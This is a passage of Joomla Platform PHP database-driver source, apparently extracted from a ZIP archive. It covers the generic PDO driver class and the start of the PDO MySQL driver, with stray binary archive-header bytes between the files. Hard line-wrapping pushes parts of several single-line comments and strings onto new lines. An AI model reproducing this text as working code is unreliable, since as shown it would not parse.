if ($j >= $n)
{
break;
}
// Quote comes first, find end of quote
while (true)
{
$k = strpos($query, $quoteChar, $j);
$escaped = false;
if ($k === false)
{
break;
}
$l = $k - 1;
while ($l >= 0 && $query[$l] == '\\')
{
$l--;
$escaped = !$escaped;
}
if ($escaped)
{
$j = $k + 1;
continue;
}
break;
}
if ($k === false)
{
// Error in the query - no end quote; ignore it
break;
}
$literal .= substr($query, $startPos, $k - $startPos + 1);
$startPos = $k + 1;
}
if ($startPos < $n)
{
$literal .= substr($query, $startPos, $n - $startPos);
}
return $literal;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.1.4
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionCommit($toSavepoint);
}
else
{
$this->transactionDepth--;
}
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.1.4
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionRollback($toSavepoint);
}
else
{
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
}
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.1.4
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
return parent::transactionStart($asSavepoint);
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
/**
* Get the query strings to alter the character set and collation of a
table.
*
* @param string $tableName The name of the table
*
* @return string[] The queries required to alter the table's
character set and collation
*
* @since CMS 3.5.0
*/
public function getAlterTableCharacterSet($tableName)
{
return array();
}
/**
* Return the query string to create new Database.
* Each database driver, other than MySQL, need to override this member to
return correct string.
*
* @param stdClass $options Object used to pass user and database name
to database driver.
* This object must have "db_name" and
"db_user" set.
* @param boolean $utf True if the database supports the UTF-8
character set.
*
* @return string The query that creates database
*
* @since 3.0.1
*/
protected function getCreateDatabaseQuery($options, $utf)
{
return 'CREATE DATABASE ' .
$this->quoteName($options->db_name);
}
}
PKHn�[:�֍�g�gdatabase/driver/pdo.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform PDO Database Driver Class
*
* @link https://www.php.net/pdo
* @since 3.0.0
*/
abstract class JDatabaseDriverPdo extends JDatabaseDriver
{
/**
* The name of the database driver.
*
* @var string
* @since 3.0.0
*/
public $name = 'pdo';
/**
* @var PDO The database connection resource.
* @since 3.0.0
*/
protected $connection;
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 3.0.0
*/
protected $nameQuote = "'";
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 3.0.0
*/
protected $nullDate = '0000-00-00 00:00:00';
/**
* @var resource The prepared statement.
* @since 3.0.0
*/
protected $prepared;
/**
* Contains the current query execution status
*
* @var array
* @since 3.0.0
*/
protected $executed = false;
/**
* Constructor.
*
* @param array $options List of options used to configure the
connection
*
* @since 3.0.0
*/
public function __construct($options)
{
// Get some basic values from the options.
$options['driver'] = (isset($options['driver'])) ?
$options['driver'] : 'odbc';
$options['dsn'] = (isset($options['dsn'])) ?
$options['dsn'] : '';
$options['host'] = (isset($options['host'])) ?
$options['host'] : 'localhost';
$options['database'] = (isset($options['database']))
? $options['database'] : '';
$options['user'] = (isset($options['user'])) ?
$options['user'] : '';
$options['password'] = (isset($options['password']))
? $options['password'] : '';
$options['driverOptions'] =
(isset($options['driverOptions'])) ?
$options['driverOptions'] : array();
$hostParts = explode(':', $options['host']);
if (!empty($hostParts[1]))
{
$options['host'] = $hostParts[0];
$options['port'] = $hostParts[1];
}
// Finalize initialisation
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
// Make sure the PDO extension for PHP is installed and enabled.
if (!self::isSupported())
{
throw new JDatabaseExceptionUnsupported('PDO Extension is not
available.', 1);
}
$replace = array();
$with = array();
// Find the correct PDO DSN Format to use:
switch ($this->options['driver'])
{
case 'cubrid':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 33000;
$format = 'cubrid:host=#HOST#;port=#PORT#;dbname=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
break;
case 'dblib':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 1433;
$format = 'dblib:host=#HOST#;port=#PORT#;dbname=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
break;
case 'firebird':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 3050;
$format = 'firebird:dbname=#DBNAME#';
$replace = array('#DBNAME#');
$with = array($this->options['database']);
break;
case 'ibm':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 56789;
if (!empty($this->options['dsn']))
{
$format = 'ibm:DSN=#DSN#';
$replace = array('#DSN#');
$with = array($this->options['dsn']);
}
else
{
$format =
'ibm:hostname=#HOST#;port=#PORT#;database=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
}
break;
case 'informix':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 1526;
$this->options['protocol'] =
(isset($this->options['protocol'])) ?
$this->options['protocol'] : 'onsoctcp';
if (!empty($this->options['dsn']))
{
$format = 'informix:DSN=#DSN#';
$replace = array('#DSN#');
$with = array($this->options['dsn']);
}
else
{
$format =
'informix:host=#HOST#;service=#PORT#;database=#DBNAME#;server=#SERVER#;protocol=#PROTOCOL#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#', '#SERVER#', '#PROTOCOL#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database'],
$this->options['server'],
$this->options['protocol']);
}
break;
case 'mssql':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 1433;
$format = 'mssql:host=#HOST#;port=#PORT#;dbname=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
break;
// The pdomysql case is a special case within the CMS environment
case 'pdomysql':
case 'mysql':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 3306;
$format =
'mysql:host=#HOST#;port=#PORT#;dbname=#DBNAME#;charset=#CHARSET#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#', '#CHARSET#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database'],
$this->options['charset']);
break;
case 'oci':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 1521;
$this->options['charset'] =
(isset($this->options['charset'])) ?
$this->options['charset'] : 'AL32UTF8';
if (!empty($this->options['dsn']))
{
$format = 'oci:dbname=#DSN#';
$replace = array('#DSN#');
$with = array($this->options['dsn']);
}
else
{
$format = 'oci:dbname=//#HOST#:#PORT#/#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
}
$format .= ';charset=' .
$this->options['charset'];
break;
case 'odbc':
$format = 'odbc:DSN=#DSN#;UID:#USER#;PWD=#PASSWORD#';
$replace = array('#DSN#', '#USER#',
'#PASSWORD#');
$with = array($this->options['dsn'],
$this->options['user'],
$this->options['password']);
break;
case 'pgsql':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 5432;
$format = 'pgsql:host=#HOST#;port=#PORT#;dbname=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
break;
case 'sqlite':
if (isset($this->options['version']) &&
$this->options['version'] == 2)
{
$format = 'sqlite2:#DBNAME#';
}
else
{
$format = 'sqlite:#DBNAME#';
}
$replace = array('#DBNAME#');
$with = array($this->options['database']);
break;
case 'sybase':
$this->options['port'] =
(isset($this->options['port'])) ?
$this->options['port'] : 1433;
$format = 'mssql:host=#HOST#;port=#PORT#;dbname=#DBNAME#';
$replace = array('#HOST#', '#PORT#',
'#DBNAME#');
$with = array($this->options['host'],
$this->options['port'],
$this->options['database']);
break;
}
// Create the connection string:
$connectionString = str_replace($replace, $with, $format);
try
{
$this->connection = new PDO(
$connectionString,
$this->options['user'],
$this->options['password'],
$this->options['driverOptions']
);
}
catch (PDOException $e)
{
throw new JDatabaseExceptionConnecting('Could not connect to PDO:
' . $e->getMessage(), 2, $e);
}
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
public function disconnect()
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
$this->freeResult();
$this->connection = null;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* Oracle escaping reference:
*
http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F
*
* SQLite escaping notes:
* http://www.sqlite.org/faq.html#q14
*
* Method body is as implemented by the Zend Framework
*
* Note: Using query objects with bound variables is
* preferable to the below.
*
* @param string $text The string to be escaped.
* @param boolean $extra Unused optional parameter to provide extra
escaping.
*
* @return string The escaped string.
*
* @since 3.0.0
*/
public function escape($text, $extra = false)
{
if (is_int($text))
{
return $text;
}
if (is_float($text))
{
// Force the dot as a decimal point.
return str_replace(',', '.', $text);
}
$text = str_replace("'", "''", $text);
return addcslashes($text, "\000\n\r\\\032");
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 3.0.0
* @throws RuntimeException
* @throws Exception
*/
public function execute()
{
$this->connect();
// Take a local copy so that we don't modify the original query and
cause issues later
$query = $this->replacePrefix((string) $this->sql);
if (!is_object($this->connection))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
// Increment the query counter.
$this->count++;
// Reset the error values.
$this->errorNum = 0;
$this->errorMsg = '';
// If debugging is enabled then let's log the query.
if ($this->debug)
{
// Add the query to the object queue.
$this->log[] = $query;
JLog::add($query, JLog::DEBUG, 'databasequery');
$this->timings[] = microtime(true);
}
// Execute the query.
$this->executed = false;
if ($this->prepared instanceof PDOStatement)
{
// Bind the variables:
if ($this->sql instanceof JDatabaseQueryPreparable)
{
$bounded = $this->sql->getBounded();
foreach ($bounded as $key => $obj)
{
$this->prepared->bindParam($key, $obj->value,
$obj->dataType, $obj->length, $obj->driverOptions);
}
}
$this->executed = $this->prepared->execute();
}
if ($this->debug)
{
$this->timings[] = microtime(true);
if (defined('DEBUG_BACKTRACE_IGNORE_ARGS'))
{
$this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
}
else
{
$this->callStacks[] = debug_backtrace();
}
}
// If an error occurred handle it.
if (!$this->executed)
{
// Get the error number and message before we execute any more queries.
$errorNum = $this->getErrorNumber();
$errorMsg = $this->getErrorMessage();
// Check if the server was disconnected.
if (!$this->connected())
{
try
{
// Attempt to reconnect.
$this->connection = null;
$this->connect();
}
// If connect fails, ignore that exception and throw the normal
exception.
catch (RuntimeException $e)
{
// Get the error number and message.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage();
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum, $e);
}
// Since we were able to reconnect, run the query again.
return $this->execute();
}
// The server was not disconnected.
else
{
// Get the error number and message from before we tried to reconnect.
$this->errorNum = $errorNum;
$this->errorMsg = $errorMsg;
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
}
return $this->prepared;
}
/**
* Retrieve a PDO database connection attribute
*
* Usage: $db->getOption(PDO::ATTR_CASE);
*
* @param mixed $key One of the PDO::ATTR_* Constants
*
* @return mixed
*
* @link https://www.php.net/manual/en/pdo.getattribute.php
* @since 3.0.0
*/
public function getOption($key)
{
$this->connect();
return $this->connection->getAttribute($key);
}
/**
* Get a query to run and verify the database is operational.
*
* @return string The query to check the health of the DB.
*
* @since 3.0.1
*/
public function getConnectedQuery()
{
return 'SELECT 1';
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 3.9.0
*/
public function getVersion()
{
$this->connect();
return $this->getOption(PDO::ATTR_SERVER_VERSION);
}
/**
* Sets an attribute on the PDO database handle.
*
* Usage: $db->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
*
* @param integer $key One of the PDO::ATTR_* Constants
* @param mixed $value One of the associated PDO Constants related
to the particular attribute key.
*
* @return boolean
*
* @link https://www.php.net/manual/en/pdo.setattribute.php
* @since 3.0.0
*/
public function setOption($key, $value)
{
$this->connect();
return $this->connection->setAttribute($key, $value);
}
/**
* Test to see if the PDO extension is available.
* Override as needed to check for specific PDO Drivers.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return defined('PDO::ATTR_DRIVER_NAME');
}
/**
* Determines if the connection to the server is active.
*
* @return boolean True if connected to the database engine.
*
* @since 3.0.0
*/
public function connected()
{
// Flag to prevent recursion into this function.
static $checkingConnected = false;
if ($checkingConnected)
{
// Reset this flag and throw an exception.
$checkingConnected = true;
die('Recursion trying to check if connected.');
}
// Backup the query state.
$query = $this->sql;
$limit = $this->limit;
$offset = $this->offset;
$prepared = $this->prepared;
try
{
// Set the checking connection flag.
$checkingConnected = true;
// Run a simple query to check the connection.
$this->setQuery($this->getConnectedQuery());
$status = (bool) $this->loadResult();
}
// If we catch an exception here, we must not be connected.
catch (Exception $e)
{
$status = false;
}
// Restore the query state.
$this->sql = $query;
$this->limit = $limit;
$this->offset = $offset;
$this->prepared = $prepared;
$checkingConnected = false;
return $status;
}
/**
* Get the number of affected rows for the previous executed SQL
statement.
* Only applicable for DELETE, INSERT, or UPDATE statements.
*
* @return integer The number of affected rows.
*
* @since 3.0.0
*/
public function getAffectedRows()
{
$this->connect();
if ($this->prepared instanceof PDOStatement)
{
return $this->prepared->rowCount();
}
else
{
return 0;
}
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
* Only applicable for DELETE, INSERT, or UPDATE statements.
*
* @param resource $cursor An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 3.0.0
*/
public function getNumRows($cursor = null)
{
$this->connect();
if ($cursor instanceof PDOStatement)
{
return $cursor->rowCount();
}
elseif ($this->prepared instanceof PDOStatement)
{
return $this->prepared->rowCount();
}
else
{
return 0;
}
}
/**
* Method to get the auto-incremented value from the last INSERT
statement.
*
* @return string The value of the auto-increment field from the last
inserted row.
*
* @since 3.0.0
*/
public function insertid()
{
$this->connect();
// Error suppress this to prevent PDO warning us that the driver
doesn't support this operation.
return @$this->connection->lastInsertId();
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
return true;
}
/**
* Sets the SQL statement string for later execution.
*
* @param mixed $query The SQL statement to set either as a
JDatabaseQuery object or a string.
* @param integer $offset The affected row offset to set.
* @param integer $limit The maximum affected rows to set.
* @param array $driverOptions The optional PDO driver options.
*
* @return JDatabaseDriver This object to support method chaining.
*
* @since 3.0.0
*/
public function setQuery($query, $offset = null, $limit = null,
$driverOptions = array())
{
$this->connect();
$this->freeResult();
if (is_string($query))
{
// Allows taking advantage of bound variables in a direct query:
$query = $this->getQuery(true)->setQuery($query);
}
if ($query instanceof JDatabaseQueryLimitable &&
!is_null($offset) && !is_null($limit))
{
$query = $query->processLimit($query, $limit, $offset);
}
// Create a stringified version of the query (with prefixes replaced):
$sql = $this->replacePrefix((string) $query);
// Use the stringified version in the prepare call:
$this->prepared = $this->connection->prepare($sql,
$driverOptions);
// Store reference to the original JDatabaseQuery instance within the
class.
// This is important since binding variables depends on it within
execute():
parent::setQuery($query, $offset, $limit);
return $this;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* @return boolean True on success.
*
* @since 3.0.0
*/
public function setUtf()
{
return false;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth == 1)
{
$this->connection->commit();
}
$this->transactionDepth--;
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth == 1)
{
$this->connection->rollBack();
}
$this->transactionDepth--;
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
$this->connection->beginTransaction();
}
$this->transactionDepth++;
}
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchArray($cursor = null)
{
if (!empty($cursor) && $cursor instanceof PDOStatement)
{
return $cursor->fetch(PDO::FETCH_NUM);
}
if ($this->prepared instanceof PDOStatement)
{
return $this->prepared->fetch(PDO::FETCH_NUM);
}
}
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchAssoc($cursor = null)
{
if (!empty($cursor) && $cursor instanceof PDOStatement)
{
return $cursor->fetch(PDO::FETCH_ASSOC);
}
if ($this->prepared instanceof PDOStatement)
{
return $this->prepared->fetch(PDO::FETCH_ASSOC);
}
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class Unused, only necessary so method signature
will be the same as parent.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject($cursor = null, $class =
'stdClass')
{
if (!empty($cursor) && $cursor instanceof PDOStatement)
{
return $cursor->fetchObject($class);
}
if ($this->prepared instanceof PDOStatement)
{
return $this->prepared->fetchObject($class);
}
}
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult($cursor = null)
{
$this->executed = false;
if ($cursor instanceof PDOStatement)
{
$cursor->closeCursor();
$cursor = null;
}
if ($this->prepared instanceof PDOStatement)
{
$this->prepared->closeCursor();
$this->prepared = null;
}
}
/**
* Method to get the next row in the result set from the database query as
an object.
*
* @param string $class The class name to use for the returned row
object.
*
* @return mixed The result of the query as an array, false if there
are no more rows.
*
* @since 3.0.0
* @throws RuntimeException
* @deprecated 4.0 (CMS) Use getIterator() instead
*/
public function loadNextObject($class = 'stdClass')
{
JLog::add(__METHOD__ . '() is deprecated. Use
JDatabaseDriver::getIterator() instead.', JLog::WARNING,
'deprecated');
$this->connect();
// Execute the query and get the result set cursor.
if (!$this->executed)
{
if (!($this->execute()))
{
return $this->errorNum ? null : false;
}
}
// Get the next row from the result set as an object of type $class.
if ($row = $this->fetchObject(null, $class))
{
return $row;
}
// Free up system resources and return.
$this->freeResult();
return false;
}
/**
* Method to get the next row in the result set from the database query as
an array.
*
* @return mixed The result of the query as an array, false if there are
no more rows.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function loadNextAssoc()
{
$this->connect();
// Execute the query and get the result set cursor.
if (!$this->executed)
{
if (!($this->execute()))
{
return $this->errorNum ? null : false;
}
}
// Get the next row from the result set as an object of type $class.
if ($row = $this->fetchAssoc())
{
return $row;
}
// Free up system resources and return.
$this->freeResult();
return false;
}
/**
* Method to get the next row in the result set from the database query as
an array.
*
* @return mixed The result of the query as an array, false if there are
no more rows.
*
* @since 3.0.0
* @throws RuntimeException
* @deprecated 4.0 (CMS) Use getIterator() instead
*/
public function loadNextRow()
{
JLog::add(__METHOD__ . '() is deprecated. Use
JDatabaseDriver::getIterator() instead.', JLog::WARNING,
'deprecated');
$this->connect();
// Execute the query and get the result set cursor.
if (!$this->executed)
{
if (!($this->execute()))
{
return $this->errorNum ? null : false;
}
}
// Get the next row from the result set as an object of type $class.
if ($row = $this->fetchArray())
{
return $row;
}
// Free up system resources and return.
$this->freeResult();
return false;
}
/**
* PDO does not support serialize
*
* @return array
*
* @since 3.1.4
*/
public function __sleep()
{
$serializedProperties = array();
$reflect = new ReflectionClass($this);
// Get properties of the current class
$properties = $reflect->getProperties();
foreach ($properties as $property)
{
// Do not serialize properties that are PDO
if ($property->isStatic() == false &&
!($this->{$property->name} instanceof PDO))
{
$serializedProperties[] = $property->name;
}
}
return $serializedProperties;
}
/**
* Wake up after serialization
*
* @return array
*
* @since 3.1.4
*/
public function __wakeup()
{
// Get connection back
$this->__construct($this->options);
}
/**
* Return the actual SQL Error number
*
* @return integer The SQL Error number
*
* @since 3.4.6
*/
protected function getErrorNumber()
{
return (int) $this->connection->errorCode();
}
/**
* Return the actual SQL Error message
*
* @return string The SQL Error message
*
* @since 3.4.6
*/
protected function getErrorMessage()
{
// The SQL Error Information
$errorInfo = implode(', ',
$this->connection->errorInfo());
// Replace the Databaseprefix with `#__` if we are not in Debug
if (!$this->debug)
{
$errorInfo = str_replace($this->tablePrefix, '#__',
$errorInfo);
}
return $errorInfo;
}
}
PKHn�[ �CQ5Q5database/driver/pdomysql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL database driver supporting PDO based connections
*
* @link https://www.php.net/manual/en/ref.pdo-mysql.php
* @since 3.4
*/
class JDatabaseDriverPdomysql extends JDatabaseDriverPdo
{
/**
* The name of the database driver.
*
* @var string
* @since 3.4
*/
public $name = 'pdomysql';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'mysql';
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 3.4
*/
protected $nameQuote = '`';
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 3.4
*/
protected $nullDate = '0000-00-00 00:00:00';
/**
* The minimum supported database version.
*
* @var string
* @since 3.4
*/
protected static $dbMinimum = '5.0.4';
/**
* Constructor.
*
* @param array $options Array of database options with keys: host,
user, password, database, select.
*
* @since 3.4
*/
public function __construct($options)
{
// Get some basic values from the options.
$options['driver'] = 'mysql';
if (!isset($options['charset']) ||
$options['charset'] == 'utf8')
{
$options['charset'] = 'utf8mb4';
}
/**
* Pre-populate the UTF-8 Multibyte compatibility flag. Unfortunately PDO
won't report the server version
* unless we're connected to it, and we cannot connect to it unless
we know if it supports utf8mb4, which requires
* us knowing the server version. Because of this chicken and egg issue,
we _assume_ it's supported and we'll just
* catch any problems at connection time.
*/
$this->utf8mb4 = ($options['charset'] ==
'utf8mb4');
// Finalize initialisation.
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.4
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
try
{
// Try to connect to MySQL
parent::connect();
}
catch (\RuntimeException $e)
{
// If the connection failed, but not because of the wrong character set,
then bubble up the exception.
if (!$this->utf8mb4)
{
throw $e;
}
/*
* Otherwise, try connecting again without using
* utf8mb4 and see if maybe that was the problem. If the
* connection succeeds, then we will have learned that the
* client end of the connection does not support utf8mb4.
*/
$this->utf8mb4 = false;
$this->options['charset'] = 'utf8';
parent::connect();
}
if ($this->utf8mb4)
{
/*
* At this point we know the client supports utf8mb4. Now
* we must check if the server supports utf8mb4 as well.
*/
$serverVersion =
$this->connection->getAttribute(PDO::ATTR_SERVER_VERSION);
$this->utf8mb4 = version_compare($serverVersion, '5.5.3',
'>=');
if (!$this->utf8mb4)
{
// Reconnect with the utf8 character set.
parent::disconnect();
$this->options['charset'] = 'utf8';
parent::connect();
}
}
$this->connection->setAttribute(PDO::ATTR_ERRMODE,
PDO::ERRMODE_EXCEPTION);
$this->connection->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
// Set sql_mode to non_strict mode
$this->connection->query("SET @@SESSION.sql_mode =
'';");
// Disable query cache and turn profiling ON in debug mode.
if ($this->debug)
{
$this->connection->query('SET query_cache_type = 0;');
if ($this->hasProfiling())
{
$this->connection->query('SET profiling_history_size = 100,
profiling = 1;');
}
}
}
/**
* Test to see if the MySQL connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.4
*/
public static function isSupported()
{
return class_exists('PDO') &&
in_array('mysql', PDO::getAvailableDrivers());
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return JDatabaseDriverPdomysql Returns this object to support
chaining.
*
* @since 3.4
* @throws RuntimeException
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$query = $this->getQuery(true);
$query->setQuery('DROP TABLE ' . ($ifExists ? 'IF
EXISTS ' : '') . $this->quoteName($tableName));
$this->setQuery($query);
$this->execute();
return $this;
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 3.4
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
$this->setQuery('USE ' . $this->quoteName($database));
$this->execute();
return $this;
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database (string) or
boolean false if not supported.
*
* @since 3.4
* @throws RuntimeException
*/
public function getCollation()
{
$this->connect();
// Attempt to get the database collation by accessing the server system
variable.
$this->setQuery('SHOW VARIABLES LIKE
"collation_database"');
$result = $this->loadObject();
if (property_exists($result, 'Value'))
{
return $result->Value;
}
else
{
return false;
}
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
$this->connect();
// Attempt to get the database collation by accessing the server system
variable.
$this->setQuery('SHOW VARIABLES LIKE
"collation_connection"');
$result = $this->loadObject();
if (property_exists($result, 'Value'))
{
return $result->Value;
}
else
{
return false;
}
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 3.4
* @throws RuntimeException
*/
public function getTableCreate($tables)
{
$this->connect();
// Initialise variables.
$result = array();
// Sanitize input to an array and iterate over the list.
settype($tables, 'array');
foreach ($tables as $table)
{
$this->setQuery('SHOW CREATE TABLE ' .
$this->quoteName($table));
$row = $this->loadRow();
// Populate the result array based on the create statements.
$result[$table] = $row[1];
}
return $result;
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields for the database table.
*
* @since 3.4
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$result = array();
// Set the query to get the table fields statement.
$this->setQuery('SHOW FULL COLUMNS FROM ' .
$this->quoteName($table));
$fields = $this->loadObjectList();
// If we only want the type as the value add just that to the list.
if ($typeOnly)
{
foreach ($fields as $field)
{
$result[$field->Field] = preg_replace('/[(0-9)]/',
'', $field->Type);
}
}
// If we want the whole field data object add that to the list.
else
{
foreach ($fields as $field)
{
$result[$field->Field] = $field;
}
}
return $result;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 3.4
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
// Get the details columns information.
$this->setQuery('SHOW KEYS FROM ' .
$this->quoteName($table));
$keys = $this->loadObjectList();
return $keys;
}
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 3.4
* @throws RuntimeException
*/
public function getTableList()
{
$this->connect();
// Set the query to get the tables statement.
$this->setQuery('SHOW TABLES');
$tables = $this->loadColumn();
